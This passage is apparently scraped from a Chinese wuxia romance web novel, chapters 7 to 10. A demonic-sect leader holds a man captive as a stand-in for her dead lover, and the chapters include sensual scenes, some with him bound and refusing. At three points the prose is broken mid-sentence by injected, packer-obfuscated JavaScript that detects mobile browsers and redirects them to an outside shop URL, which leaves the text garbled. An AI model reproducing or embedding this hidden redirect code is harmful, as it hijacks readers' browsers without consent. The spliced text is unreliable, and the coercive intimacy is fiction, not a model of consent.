谢稚指尖点了点那一处雪上茱萸,不轻不重的点了两下:“解开之后,要做什么?” 容峋眼瞳瞬间红了:“谢稚!” 谢稚将头靠在他的胸口,男人的心跳在胸膛怦怦作响,急促而沉稳。 谢稚笑了:“容峋,你心跳的好快。” 容峋双手几乎攥成了拳头,却被困坐在原地不能动弹。 谢稚手指顺着他的胸膛往下,声音低柔:“容峋,你动情了。” 女人的声音低哑而沉静,如同深海之上的追寻航船的蜃女鲛人,充满了诱惑。 容峋垂头看过去,一向平静的目光如浪起横波,黑云压城:“谢姑娘,欲望而已。” 谢稚嗯了一声,完全不介意道:“你我之间,还需要别的东西吗?”话音落下,女人手指轻飘飘的弹了一下,瞬间浸出一片湿润深色。 “嗯……”容峋身子一颤,声音一下子厉了起来,“谢稚!” 细尾蛇似乎被吓了一跳,动作间将容峋腰腹那处包好的伤口又给弄出了血。 谢稚斜了一眼那条细尾蛇,两指捏住蛇头七寸将其揪了出去,随后扔到床下:“没个分寸。” 细尾蛇委屈巴巴的嘶嘶两声,有些意犹未尽的舔了舔身上的血液,蔫头巴脑的找了个角落缩着去了。 “今天先到这里,三天后再继续。”谢稚手指轻轻点过细尾蛇弄出来的血渍,指尖一点放入自己的嘴里,嫌弃道,“好浓的味道,你尝尝......” 说到最后几个字的时候,女人已经又蘸了一滴强硬的送入他口中。 容峋拧着眉头,将自己的血液吞下,再次出声道:“解开。” “着什么急?”谢稚轻笑一声,点点他的伤处,“这里还得重新包扎一下。” 女人一边说着,一边慢悠悠的重新给他包扎起了伤口。女人的心情似乎很好,口中低低哼着什么歌。低眉顺目,显得温柔很多。 “这是什么歌?” 谢稚抬眼瞧他:“宣城小调,听过吗?” 容峋没有说话,眸光似乎有些晃神。 谢稚眨了下眼睛,没想到他这个反应,笑眯眯的给他打了最后一个结:“怎么,还真听过?” 容峋摇头:“不记得了。或许吧,我的母亲......是宣城人。” 这回轮到谢稚愣住了。她歪着头看他:“这么巧吗?叫什么名字,或许我会知道。” 容峋偏开头,目光平直的落在高几上的绿梅上,声音平静:“她离开有二十年了。” 男人的声音里听不出什么情绪,可是谢稚却敏锐的感觉到他的情绪低落了下来。 谢稚低头给他解开天蚕丝,慢慢开口:“容峋,跟我讲讲你的过往吧。” “没什么可说的。母亲去世之后,父亲又续娶了几房夫人,各自都诞下了儿女。如此一来,我这个嫡长子的位置就有些尴尬。后来......父亲偏爱三夫人,为了给三弟腾位子,就将我赶出了家。我也没有别的地方可去,转了一圈,就到了鄣郡。”容峋说的简单,数十年过往一笔带过,眉眼不见丝毫起伏。 谢稚听完顿了一下,嘶道:“可怜啊!本座的爹娘虽然都死绝了,但是他们对我......还是很不错的。” 容峋低应了一声,慢慢将腰间的衣服拢了上去。 谢稚身子靠在床头,安静瞧着他动作,突然她像是想起什么问道:“忘记问你了,你成亲了吗?” 容峋动作一顿,抬眼瞧她。 谢稚从他这个眼神中品出了几种不同的味道,讪讪笑道:“忘记问你了,你既然说你母亲离开有二十年了,那你应该......” 容峋眸光盯着她,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282248|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字一顿道:“在下今年二十又四。” “嘶,这么老啊......” 容峋没有说话,不过从喉咙里发出一声低沉的冷哼。 谢稚跑回正题:“所以......你成婚了吗?” 容峋低低嗯了一声,望着她的目光诚恳而真挚:“已经成亲了。” 谢稚眸子一眯,语气瞬间变得危险起来:“是吗?哪里人?叫什么名字?” 容峋一时不说话了,迟疑道:“你想做什么?” 谢稚扬了下眉,冲他露出一个和善无比的表情。 容峋彻底不吭声了。 谢稚同他的视线撞在一起,微微笑道:“虽然查起来有些费劲,但若真的想找......还是能找到的。更何况,像容公子这样的人物......凡是见过的,必然都会有印象。” “你说呢?” 容峋无奈叹了口气,撇开脸:“没有。” 谢稚眯眼笑了:“什么没有?” 容峋绷着脸道:“没有成婚。” 谢稚点了点头,从上到下打量了一圈,最后在下腹久久徘徊不定:“二十四的年纪,还没有成婚......容公子这是心里有个死了的白月光?” 容峋脸色瞬间有些一言难尽,咬着牙道:“没有。” “哦?这倒是奇怪了。” “没什么奇怪的。自加冠以来,先后定下的七个未婚妻,都遭了意外。我的身体也不好,何必再去耽搁人家。” 谢稚抿着唇思考了片刻:“怕是你父亲那三夫人......不是好相与的啊。” 容峋诧异的瞧了她一眼。 谢稚眨眨眼:“能想到她,很意外吗?话说......你说同我相似的那位,该不是这位主儿吧?” 容峋抿住了唇,不再说话。 谢稚斜了他一眼,笑着道:“以后若有机会,倒是要见识一下这位夫人了。” 容峋认真打量她半响,突然也笑了:“坦白说,我还真有些期待你们两个相见的场面。” 谢稚被他笑得晃了下神。这么久了,难得容峋再次笑得这样温和,没有一点儿戒备。 女人慢慢直起身,膝行着到他面前,手指摸上他的脸颊,声音低弱:“容峋,等一切结束之后......我或许会放了你。” “在这之前,别再想着离开。” “好吗?” 容峋脸上的笑容渐渐退去,整个人也跟着安静下来了。眸光幽亮,如同星光坠入深海。 之前谢稚一直觉得他同苏璟最像的是容貌和身形气度,如今才发现,在这里头......一双眼睛才是最像的。 清浅而又深邃,温和却又拒人于千里之外。 很矛盾的两种感觉,却在同一双眼睛里达到了和谐统一。 “容峋,答应我。” 谢稚低下头去,似乎想亲吻他的眼睛,却又克制的停在原地。 容峋瞧了她片刻,目光看不出丝毫情绪,声音古井无波:“一切结束是什么时候?” 谢稚将手掌盖住他的眼睛,低头一吻落在手背,又慢慢抬起。 “别急......” “到了那一天,你会知道的。” 8. 第 8 章 重重帷幔落下,只能隐约瞧见里头一道弯成了弦月的倩影低声呻吟。 “唔......谁?!滚出去!” 是女人娇柔的声音,似勾魂入骨。 进来搜寻的捕头只觉得魂都酥了,一个个脚步都停在原地。 别巍跟上前来,通红着脸道:“林捕头,都说了是我主家小姐和姑爷在休息。要不......咱们先出去再说?” 为首的林捕头很快回过神来,转过身子对着别巍:“陈掌柜,我倒不知你的背后竟还有主家。” 别巍从袖口滑下一袋银子,偷偷送进男人手里,压低了声音:“若真是没主家,小的早就去城门口要饭去了,哪里还能混到如今的形式。实不相瞒,小的主家是京城尚书府的主子。经年也不来一回,如今是同家里人闹了些脾气,就带着......带着姑爷来鄣郡散散心。哎呀,您瞧我这嘴,林捕头,这些可都是不能对外人说的。小的跟您说一声,您可千万不能再往外传了。” 林捕头顺手将银袋子拢入袖口,又大致扫了一眼屋内情致,地下的衣服鞋子从屏风开始一直延续到床下。衣服料子不错,女人声音也跋扈......看起来,确实是对从京城私奔的野鸳鸯。 “京城来的?” 别巍连连点头:“是是是。” 林捕头心下一动,还没说话,帐内又传来一道女子的声音:“都滚出去!不然,本小姐......打断......你们的......狗腿。” 女人的声音一颤一颤的,身子也跟着一颠一颠,如同枝头被风雨吹袭的海棠花,一眼看去,上上下下全没了章法。 女人骂完外头那些人,声音重新变得娇滴滴起来:“嗯......容郎,轻点儿......” 一众人听得面红耳赤,再待不下去,转身就走。 别巍留在最后,贴心的将门关上,而后小跑着跟上最前头的林捕头:“林捕头,这人谁啊?咱故鄣县这几天封城,就是为了查这个人吗?当真是好大的面儿啊!” 林捕头乜了他一眼:“也不怕你晓得。别看这一位长得跟个小白脸一样,心可狠得很!短短三个月间,伤了数十条性命,还把御贡的贡品给劫了。这可是牵连整个城池的大罪!因此,郡守大人下了严令,七日之内必须要找到。” 别巍嘶了一声,指着通缉令中的那张有些熟悉的脸蛋:“这人......如此可怕?” 林捕头又带着人扫了遍院子别处,俱是干净:“知道就好!若有任何线索,赶紧来报。倘若消息属实,奖赏白银三百两!倘若......故意隐瞒,那就不好意思了!” 别巍哎呦一声:“您放心!倘若小的知道了消息,立马去拿那三百两银子!” 林捕头摆了摆手,将最后一个捕快留下:“等里头完事了,你去瞧一眼。不是画像上的人,就赶紧回来。” 小捕头连忙点头,应道:“是。” 呼啦啦的一群人,匆匆而来又匆匆而去。 容峋别开脸推了推身上的谢稚,声音里也带着一抹沙哑:“起来。” “起来做什么?人还在外头呢。” 容峋垂着眼抿唇道:“已经走了。” 谢稚不仅没有起身,反而手指摸上他的胸膛:“嗯。走了,就不可以继续了吗?” 说着,谢稚轻轻嘘了一声:“你听,又回来了。” 容峋瞬间闭上了嘴。 谢稚勾了勾唇,双手抱上他的脖颈,一叠声的喊着:“容郎,嗯......容郎......轻一点儿。” 容峋偏开头,红着耳根任由她动作。 容峋越是躲避,谢稚越是猖狂,甚至还低头舔了一下男人胸前的汗珠。 咸咸的,却有一股清冷的雪松香。 不算难吃。 容峋身子一僵,声音瞬间沙哑起来,压着嗓子警告道:“谢稚。” 谢稚哪里在乎他这个不算威胁的威胁,嗤笑一声,声音继续黏黏糊糊道:“容郎,不......不要了。” 容峋眼角都红了,也不知道是被她气红的,还是被逼红的。 “咦?容郎也并不是全然无动于衷啊。”谢稚的语气里尽是戏谑和荒唐。 男人手指轻颤,双手用力握住谢稚腰间,将人翻了个身,哑着嗓子道:“够了。” 两个人的位置瞬间颠倒,可下位者却仍旧一副成竹在胸的表情,笑意吟吟:“容公子,用过就扔,好狠的心哪。” 容峋抬了抬眼,努力冷着脸:“你先下去。” 谢稚指尖从他的额头,一点一点往下滑,落到男人胸膛位置勾画着圈圈:“你流了好多汗啊。” 这一翻折腾,空间温度早已升至灼热,就连帐中香都越发浓郁起来。 容峋垂着眸子,眸色渐渐晦暗起来:“谢稚,适可而止。” 谢稚哼笑一声,低低重复了一遍:“适可而止?这个成语我可不会。”说完,女人慢慢抬头凑到他耳边,声音媚不可言却又清晰无比的传了过去:“不如你教教我......” 容峋耳垂通红,偏开头却什么话都没有说,似乎已经拿她没有办法了。 “刘捕头真是辛苦了,来来来,咱们到花厅休息一会儿。” “不必了,我听着里头动静好像小一些了。” “是吗?我听听。” 谢稚双手缠上他的脖颈,目光紧紧勾着他的视线,口中跟着又喊出一声哆哆嗦嗦的啼叫:“容郎,不......不要了......”喊到最后,女人一口含住容峋的耳垂,轻轻重重的一咬。 一瞬间,容峋眸色沉沉,似乎比最深的夜还要悠长。 “谢稚......”容峋的声音里饱含了沙哑,闭了闭眼,克制的压下所有情欲,“停下。” 谢稚已经明显感觉到他的反应,对此轻笑一声,又进一步的咬着他的耳朵,低声呢喃:“怎么办呢?已经停不下了。” “嗯......”容峋一下子没忍住,喉咙里发出压抑的喘息。 谢稚瞬间笑得如同偷腥的猫,她松开他的耳垂,歪着头在他的侧颈来回蹭了蹭:“容峋,你想要我吗?” 容峋原本的琥珀色早已经凝成了深不见底的暗河,幽暗不明:“谢稚,现在停下还不晚。” 外头的两个人不知什么时候已经走远了,房间内外再次恢复平静。男人的额上泛起几条青筋,声音压得很低,还带着几分压抑的喘。 谢稚眯着眼睛打量她,故作惊讶的啊了一声:“还不晚吗?” “那要做到什么程度,才算是晚了呢?” 女人话音落下,手指从他的脸颊、脖颈继续往下滑落...... “谢稚!”容峋喑哑着声音,一把攥住她作乱的小手。 谢稚低笑一声,欢快的应下:“容峋,你想叫我做什么?” “下来。” 谢稚斜了眼两个人的姿势,轻笑道:“难道不是容公子从我的身上下去吗?” 容峋几乎面色狼狈的松开她的手,起身就要下床。谢稚却更紧的缠上他,双手也跟着揽住他的脖子:“去哪里?下面做吗?” 容峋一张脸白了又红:“谢稚,够了。” 谢稚应了声:“我是够了,不过......容峋你够了吗?” 容峋一身亵衣早已经汗湿,紧紧贴在身上,将整个身体状况显露出来。听到这话,容峋闭了闭眼,努力按捺下去眼里的欲望。可是身上的女人却仍旧不放过他一般,凑到他的唇角亲吻:“容峋,别怕......你可以要我的。” 容峋只觉得被她逼入了狭窄绝境,平日里那双稍显淡漠的瞳仁泛着明晰沉郁的情欲,他没有说话,只是保持着那样的姿势看着她,一直看着她。 谢稚身上只穿了一件藕荷色肚兜,下头是一件单薄的葱绿色亵裤,肩头莹润,脖颈修长,浑身上下一片雪白,美不堪言。 容峋双手握着女人的腰肢,用力得手背几乎崩出青筋。 谢稚微微仰起头,将脖颈送到他的唇边:“容峋,爱我......” 容峋眼尾红得厉害,目光一动不动的盯着她。两人之间的空气被稀薄成了一线薄纸,几乎眨眼即破。可就在最后的濒临破裂的时刻,容峋闭了闭眼,声音里带着一丝难言的叹息:“谢稚,别闹了。” 谢稚带笑的表情一僵,整个人几乎愣在了原地。 她空茫茫的转过头来,一点一点对上容峋的脸颊,有些疑惑,又有些懵懂。 呆呆的,就像十几岁不经世事的小姑娘一般。 他是苏璟吗? 好像......他好像苏璟啊。 每次苏璟被她逼急了,就是这样说话的。 就是这个语气,这份无奈。中间,还带着一丝丝的妥协和宠溺。 谢稚盯着容峋看了很久,久到时间都好像凝固了一般。她才无力的闭上了眼,将头扎在男人颈窝之中,安静下来了。 容峋是何等琉璃心,对此面色没有丝毫变化,只是眸子微垂了垂,平静的任她抱着。 刚刚还黏稠暧昧的气氛瞬间崩裂成碎片,只剩下一片死寂,映照着两个人中间所有的现实和不堪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282249|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>过了不知有多久的时间,谢稚终于又出声了,声音沙哑:“为什么呢?” 容峋低低回应她:“什么?” 谢稚慢慢抬起头,居高临下的俯视着他,看着他的脸,又像是在看别的人:“为什么不是你?为什么不是任何一个和他长得像的人?” “当年死的人为什么是他?” “为什么偏偏是他?!” 女人最后一句话几乎是咬着牙喊出来,不过片刻的功夫,她的眼瞳已经彻底红了。 容峋怔了片刻,最后垂下眸子,扯了扯唇角:“其实我也想知道......为什么我还活着?一个本该早就死了的人,为什么还活着?” 谢稚对上他的眼睛,两个人相顾无言。 她闭了闭眼,从他的身上起来,随手扯过一件外衫披在身上,下了床走了两步又停下,背对着他道:“抱歉。” 容峋的目光始终望向地面,一句话都没说。 屋内空气一下子变得沉默而凝固起来,谢稚等了片刻,抬脚朝外走去。 刚走到门口,就听到门外传来嘀咕声:“陈掌柜,里头是不是完事了?” 别巍迷惑性的声音传来:“有吗?我刚刚还听到声响呢!这位大小姐折腾不到正午,是不会停下的。刘捕快,咱们继续吃!继续吃!” 容峋不知什么时候也跟着下了床,一身雪白亵衣露出大片肌肤,他捡起地上的衣服一件一件穿起,最后走到门口,朝着谢稚微微一笑:“谢姑娘,别过。” 谢稚双眼一眯,转过身看向他:“什么意思?” 容峋已经恢复了往常模样,目光柔和,声音平静:“我这个朝廷要犯,也该去自首了。” 谢稚嗤笑一声,双手抱胸:“耍脾气?你是谁的人,你现在还没有认清楚吗?” “若说是要犯,那你只能是我一个人的要犯。” 容峋抿住唇,不说话了。 谢稚瞧着他这副半死不活的样子就来气,一把拽住人将人抵在门后:“容峋,你的生死只有我才能决定。” 容峋瞳孔微缩,干看着她没有动静。 谢稚冷笑一声,踮着脚直接吻了上去。这是两个人之间的第一个吻,凶狠、残忍,没有一点儿温情,全是泄愤的味道。 没一会儿的功夫,口腔之中尽是血腥的味道。可是却没有一个人松开,也没有一个人退出。 不知道说什么时候,谢稚双手攀上他的脖颈,而容峋一双手掌也跟着按上了女人的后腰。方才还剑拔弩张的气氛,重新又变得黏腻起来。 直到两个人吻得喘不上来气,谢稚才慢慢退出来,眸光幽深的望着他。 容峋的呼吸也急促了很多,面色透出丝丝缕缕的红潮。 谢稚望着他滚了滚喉咙,沙哑出声:“再来。” 话音落下,再次踮脚吻了上去。 这一回,两个人都有了些经验。 谢稚咬了咬他的唇,跟着舌尖慢慢抵进男人的齿关,缠住他的舌头吮咬。 两个人都是学习的好手,不过片刻的功夫,已经如鱼得水了。 亲到最后,两个人的眼中浸透了黑沉沉的欲望。 谢稚最先退开,一把扯住男人的手腕,将人往旁边的椅子上一推,跟着坐了上去:“容峋,要我吗?” 容峋紧抿着唇,看了她半响出声:“可你想要的......是我吗?” 男人热烫的呼吸喷在她皮肤上,细长的丹凤眼一眨不眨的看着她。 谢稚眼睛眨了一下:“有什么区别吗?” 容峋扯了扯唇角,笑容里尽是嘲讽:“或许于谢姑娘而言,没有什么区别。可对于我......有区别。” 谢稚叹了口气:“好吧。看来你不肯答应我了......”女人说到这里,垂眸看了眼底下:“不过,容公子这一日三次......” 容峋抬手一把挡住了她的眼睛,声音沙哑:“别看了。” 谢稚眨了眨眼睛,十分乖巧的任他动作。 容峋确实被她挑起了欲望,不过......如今不是时候。一双清浅凤眸在她看不见的地方,瞬间涌起风暴,又悄然消散于无形。 “谢稚......”男人的声音温和却坚定,“除非你要的是我,否则......不可能。” 谢稚忍不住低低笑了起来:“容峋,如果我真的想要你......你能拦得住我吗?” 容峋声音一滞,恼道:“谢稚!” 谢稚慢慢拉下他的手指,轻咬了他的手背一口,目光如钩子一般勾着他:“就比如,现在。” 9. 第 9 章 两个人最终什么也没有做成。 晏白面无表情的从后窗翻了进来,直剌剌的站在两个人身后,语气幽幽道:“主子,刚刚收到消息,武林大会提前了。” 谢稚被吻得气息不稳,从容峋身上抬眼望过去,媚眼如丝:“哦?” 倘若一般人见了女人这副表情,早就偏开了头。晏白却一动不动的盯着她,眸光如隼:“因东姑坞一事,孟昶会将武林大会提前到了三月十五,除了选举新任盟主之外,广召天下英豪除魔卫道。” 谢稚眸光一转,浅浅勾了下唇,慢慢推开容峋起身道:“如此一来,时间倒是有些紧张了。” 晏白嗯了一声,低头瞧着容峋慢条斯理的整理自己衣衫,脸色越发阴沉,声音冷硬:“如今故鄣县封了城,若要出城,只怕得等到晚上了。可今天已经是三月十一了,就算昼夜不停,快马加鞭只怕也得三四天时间......” 鄣郡距离庐江郡武林盟足足有五百七十九公里。最好的快马一昼夜也不过一百五十公里,就算他们现在出发,等他们到了那里......只怕武林大会已经召开了。 赶不上开局,赶个尾巴也行。 谢稚沉吟片刻,目光渐渐落到容峋的身上。 容峋对上女人的视线,施施然站起身,温和一笑就朝里屋走去。 “做什么去?” “我能去做什么?不过里面休息会儿罢了。” 男人面色温和,眼角微红,一副活色生香的小倌模样。谢稚凑上前去,贴近容峋薄唇:“去吧,顺便好好想一想怎么跟我解释......悬赏令的事。” 容峋抿紧了唇,后退一步,没有说话。刚转过身去,就对上了直勾勾盯着他的晏白。男人牵了下唇角,歪过头去看向谢稚,眸光清澈见底:“容某可是什么时候得罪了这位?” 谢稚微挑了下眉,眸光在二人中间流转片刻,轻笑一声:“应当没有吧,晏白?” 晏白双眸微眯,牙关咬了又咬:“没有。” 容峋长长吐出一口气,转头朝着谢稚一字一句道:“那就好,不然容某着实担心哪一天睡着了会被晏公子砍一刀。” 男人的话语中没有一丝情绪,听起来甚是平静。可是却让谢稚忍不住轻笑出声,她踮起脚尖,给他理了理鬓边的乌发,柔声道:“你同他怄什么气?” 容峋深深看了她一眼,什么话也没说,但是一双含情目中却将一切都道了个干净。 欲言又止,欲说还休。 谢稚总算知道诗书之中的传情模样了。 容峋看过这一眼之后,转身再没瞧晏白一眼,径直转过屏风入了里屋软榻休息。 晏白双拳紧了又紧,盯着男人的背影阴晴不定。 “晏白。”谢稚淡淡提醒他,“别做让我为难的事情。” 晏白整个人如坠冰窟,立在原地怔怔的看着她,脸上的血色霎时间褪了个干净。 一时间,晏白觉得自己就像裸奔在太阳底下一般,恨不得死了才好。 不知过了多久,晏白才像回过神来一般,砰地一声跪下:“尊主。”晏白叫完她之后,张了张口却再没有道出声来,最后只是深深看了谢稚一眼,就将身侧长剑拔了出来,还没等他抹上脖子,谢稚已经给他收入了鞘中。 “你这是做什么?”谢稚面色一变,声音也厉了起来。 晏白眼中慢慢浸出泪水,可是下一秒就抬起袖子一抹,然后恶狠狠的转开了过去。 谢稚:...... 其实晏白才不过十七岁,正是少年打马游街的年纪。只是常年风吹日晒,面孔之间多了些许的粗粝感,可是那份粗粝没有让少年变丑,反而多了些自然和纯粹。 尤其是那双黝黑的眼睛,如同深渊之中淬炼出的黑宝石。 璀璨漂亮。 谢稚叹了口气,慢慢上前摸上他的脑袋:“又闹脾气了是不是?” “你是我最信任的人,而他......是我如今最不想失去的人。” 晏白本来还忍着,可是谢稚这一摸,整个人都有些没崩住,一把抱住女主细腰,微微哽咽道:“可你都看到了,刚刚是他故意气我。” 谢稚食指点着他的额头:“别当我没看到你的眼神。” 晏白只觉得又有底气了,仰着头瞪眼道:“我的眼神怎么了?我就是看不惯他那副茶里茶气的模样。” 谢稚无奈一笑:“行了,不要耍小孩脾气了。” “你和他在我这里,终究是不一样的。难道你不清楚吗?” 晏白摇头,目光直白的看着她:“我不清楚。我只知道,您在见到这个人之后,一切都变了。” “究竟是这个替身重要,还是......我对您更重要?” 春日晏晏,暖风顺着窗棂吹了进来,带动薄纱在床榻间来回晃动。 容峋半眯着眼睛,似乎已经睡着了。 整个房间安静得连呼吸声都听不见了。 晏白始终仰着头看向谢稚,目光不闪不避,似乎也不允许女人躲闪。谢稚也没想着躲避,虽然中间微微拧了下眉头,但是很快又松开了。她望着他缓缓勾了下唇:“自然是你。” “你跟了我这么多年,难道不清楚你在我心里的位置吗?” 晏白眼中不见满足,却露出更加委屈的表情。他将头靠在女人腰间:“可是您对他......不一样。我不开心,明明很多事情我也可以做的。” 谢稚摇摇头:“他能做的,你做不了。好了,现在都什么时候了,还扯这些有的没的。” 晏白得了那一句其实已经心满意足了,如今见到女人真的不悦了,悻悻站起身:“尊主,咱们今晚动身吗?” 谢稚嗯了一声,轻声叫道:“花影。” 花影也一直在后面听墙角,两个男人一场戏。如今尊主喊自己了,她再不能装死了,连忙现身道:“尊主,我跟您一起去武林盟吧。” 谢稚摇头,目光落到屏风之后的男人身上:“你和别巍留下,保护好他。” 花影撅了撅嘴:“您让晏白留下吧。” 这话落下,晏白冷笑一声:“也行啊。不过你问问尊主敢不敢?” 谢稚还真不敢。 此去武林盟,少则七日,多则十数日,这么长的时间......足够晏白将容峋毁尸灭迹三四个来回了。 不过面上却是不能表现出来,女人一本正经道:“此行危险,你留下接应。另外......”说到这里,她招了招手,示意女人凑过来,而后在她的耳边低低说了几句。 花影瞬间多云转晴:“尊主放心去吧,都交给我。” 谢稚嗯了一声,偏头看向晏白:“去给那个捕快瞅一眼。” 晏白想到什么,脸色一黑,但是刚刚好不容易同女人说定了,只得点头往外走。刚要打开门,谢稚突然道:“等等,你就这么出去?” 晏白低着头看着自己的衣服,没有什么不对啊,很正常。 谢稚眉眼弯了一弯:“刚刚云雨过后,可不应该是这副模样。” 晏白一愣,想到刚刚看到的容峋模样,咬得牙关咯吱作响。 谢稚慢悠悠上前,素手轻轻一扯晏白的腰带,勾着人往前走了两步。 花影“嘶”了一声,双手连忙将眼睛捂上,不过指缝却漏得拇指宽,看得津津有味。 晏白脸色一红,呆愣愣的被人勾上前,任由女人慢条斯理的将胸前衣领扯宽了几分,又一把扯下头上的马尾辫,弄出松松散散的模样。 做完这一切,谢稚后退两步,上下打量了两眼之后摇了摇头,指尖点过唇上的胭脂,慢慢抹上少年的唇角。 一点胭脂红,生生将个冷漠少年弄出活色生香的味道。 谢稚手指拨弄了弄男人发丝,眉目温柔,声音低哑:“这样就对了,去吧。” 晏白通红着脸点了点头,跟着轻飘飘的朝外走去。 等人走了,花影在背后朝着谢稚竖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282250|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大拇指:“尊主,这就成了?” 谢稚没有说话,朝她挑了下眉,女人瞬间领会,比了个手势,翻窗重新离开。 容峋半靠在软榻之上,呼吸平稳,好像彻底睡过去了。 谢稚凑过去,食指点了点男人的脸颊:“睡过去了?” 容峋没有回话,仍旧闭着眼睛。 谢稚蹲下身子瞧他,本来是想瞧容峋的。可是瞧着瞧着,她的思绪就忍不住飘远。 苏璟最温和的时候,好像就是闭上眼睛休息的时候。 那时候的他,收敛了所有的冷漠,安静得如同观音座前的善财童子。 漂亮,又自带锋芒。 谢稚在少年的时候,不知道偷看了他多少次。如今一遍一遍的瞧着这个人,就好像在瞧着苏璟一般。她的心里莫名的安慰又......荒凉。 不知过了多久,等谢稚回过神来的时候,容峋已经睁开眼睛了。 男人安静的靠在软榻之上默默看着她,没有说话,也没有打断她。 谢稚扯了个微笑:“你醒了?” 容峋也扯了扯唇角,一向温和的面容好像多了些讥讽。 谢稚拧了下眉,定睛又望了过去。虽然眨眼即逝,但是谢稚确定自己没有看错,当下声音也冷了:“你在看什么?” 容峋闭上眼睛:“没有看什么。” 谢稚一把捏上他的下颌,力气极大,几乎瞬息之间就将男人那一处捏红了:“容峋,本座是太纵着你了吗?” 容峋睁开眼,对上她的眼睛:“那就请谢姑娘别纵着容某了。” 谢稚盯了他一会儿,最后甩开男人:“行了,说说通缉令的事吧。” 容峋偏过头去,看向头顶的房梁:“没什么可说的。谢姑娘若是不放心,大可直接将我送到官府。” 谢稚眯了眯眼,垂眸看他:“容峋,你不太对劲。” 容峋嗯了一声:“一个通缉犯不对劲,难道不是很正常的事情吗?” 谢稚直接气笑了:“你在闹什么脾气?” “一个通缉犯,哪能闹什么脾气?” 谢稚:...... 没法儿交流了。 女人扣住容峋的下巴,低头吻了下去。 这已经不是亲吻了,更像是凶兽的撕咬。鲜血瞬间涌了出来,血腥味溢满二人中间。 一吻即毕,谢稚俯视着他,什么话都没说,转身就走。 一直到暮色四合,谢稚也没有再现身。花影将晚饭送进来,放到桌子上:“容公子,尊主走之前的脸色很难看。你是不是又同她怄气了?”女人说到这里叹了口气,“我们尊主对你这么好,都不介意你是通缉犯了,你怎么能还老惹她生气呢?” “虽然你长得好,但是长得好也不带这么浪费的。你要知道,容貌虽得一时好,但到底不能长久。我还是劝你,多顺着些尊主。” 花影一直絮絮叨叨说个不停,容峋只是安静的在软榻上面靠着,似乎又睡着了。 花影见这人始终无动于衷,撇了撇嘴,重新关门出去。 夜风顺着窗棂进来,紧跟着一道漆黑的身影不知什么时候跪在软榻前。 “主子?” 月色在屋面落下一层白霜,落在容峋脸上,显得越发冷白如玉。男人终于睁开眼,白日里的温和一并卸去,只剩下黑夜的冷漠:“都布置好了?” 暗影点头:“是。这位魔教尊主出动了不少人,行事狠辣,不留痕迹,倒省了咱们的人出手。到时候武林盟所有的混乱都可以顺势推到魔教头上,如此一来,林贵妃就算有所怀疑也无计可施了。” “只是那炸药......” 容峋垂着眸子看下去,凤眸之中平静无风:“有问题?” 暗影瞬间噤声:“没有。” 那些人死不足惜,只可惜了那位活色生香的谢尊主。 不过......这些日子她敢如此折辱主上,如此死了也不算冤枉。 10. 第 10 章 一昼夜快马疾行,直到次日黄昏,二人方才在一个叫阿屏县的县城停下。 县城不大,纵横两条干道,交汇处矗着唯一一家客栈。谢稚下了马,将鞍绳递给门口童子就朝内走去。 客栈分为上下两层,面积不小,装潢也称得上干净华丽,不过人口却是不多,只有三四个人。柜台前立着一个掌柜的正埋头打着算盘,中间坐着两个三十来岁上下的男人,大马金刀,满脸横肉,一手夹着牛肉,一手握着酒碗,剩下的刀剑横放在桌面上。剩下的一个窝在墙角位置......谢稚眸光流转,上下扫了一圈,是个女扮男装的小姑娘。 谢稚脚下不停,朝着笑容可鞠的掌柜要了两间上房,就朝着楼上走去。 “陈兄,话不能说到一半啊。此次盟主提前武林大会的召开,究竟是因为什么?” “林兄,说你是两耳不闻窗外事,你还当真如此!就算你不知道东姑坞的事件,难道你还没从这次的请帖事件中咂摸出不一样的味道。” “只说是魔教余孽......可魔教退出中原已有数年之久,难道是又重出江湖了不成?等等......东姑坞?东姑坞怎么了?” “东姑坞的掌座被人一招割了脑袋,半夜挂在城门口挂了一晚上。不然如今故鄣县还封着城呢?就是为了抓那贼子呢!” 谢稚忍不住抽了抽唇角,当代江湖人的八卦传播能力......当真是乱七八糟的。 “哪里还封着城?早解封了。”一道娇俏清润的声音插了进来,少女虽然故意将声音压低了一些,但是仍能听出其中的欢脱劲儿。 那二人闻声看了过去,那位姓陈的一瞪眼道:“什么时候的事?我怎么不知道?” 小姑娘哼了声:“你是个什么东西,自然没有我的燕隼得知的消息迅速。” 姓陈的顿时大怒,大掌啪的一声拍向桌面,厉声道:“哪里来的小娃娃,毛都没掉利索,还敢说爷爷的不是?” 男人面目狰狞,小姑娘却不见一点儿害怕,甚至大眼睛里浸满了兴奋:“你想当我的爷爷?可惜他早死了,骨头都化了灰。怎么,你也想像他一样吗?” 